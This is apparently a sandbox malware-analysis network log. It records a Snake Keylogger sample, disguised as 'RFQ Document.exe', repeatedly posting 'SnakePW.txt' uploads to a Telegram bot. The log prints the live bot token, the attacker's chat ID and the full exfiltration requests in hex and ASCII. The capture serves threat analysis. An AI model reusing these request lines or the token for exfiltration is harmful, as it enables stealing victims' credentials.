2021-09-28 06:00:04 UTC	513	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:04 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:04 UTC	513	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12908,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808804,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
325	192.168.2.4	50162	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:04 UTC	514	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255faefdd62 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:04 UTC	514	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 61 65 66 64 64 36 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255faefdd62Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:04 UTC	515	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:04 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:04 UTC	515	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 30 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12909,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808804,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
326	192.168.2.4	50163	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:04 UTC	516	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fb0a16dc Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:04 UTC	516	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 62 30 61 31 36 64 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fb0a16dcContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:04 UTC	516	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:04 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:04 UTC	517	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 31 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12910,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808804,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
327	192.168.2.4	50164	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:04 UTC	517	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fb21ed31 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:04 UTC	517	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 62 32 31 65 64 33 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fb21ed31Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:04 UTC	518	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:04 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:04 UTC	518	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 31 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12911,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808804,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
328	192.168.2.4	50165	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:04 UTC	519	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fb3e8a7b Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:04 UTC	519	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 62 33 65 38 61 37 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fb3e8a7bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:05 UTC	519	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:04 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:05 UTC	520	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 31 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12912,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808804,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
329	192.168.2.4	50166	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:05 UTC	520	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fb5b2567 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:05 UTC	521	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 62 35 62 32 35 36 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fb5b2567Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:05 UTC	521	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:05 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:05 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12913,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808805,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	49807	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:27 UTC	52	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c5d02817 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:27 UTC	52	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 35 64 30 32 38 31 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c5d02817Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:27 UTC	53	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:27 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:27 UTC	53	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12613,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808707,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
330	192.168.2.4	50167	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 06:00:05 UTC	522	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255fb77c217 Host: api.telegram.org Content-Length: 407
2021-09-28 06:00:05 UTC	522	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 62 37 37 63 32 31 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255fb77c217Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 06:00:05 UTC	523	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 06:00:05 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 06:00:05 UTC	523	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 39 31 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 38 30 35 2c 22 64 Data Ascii: 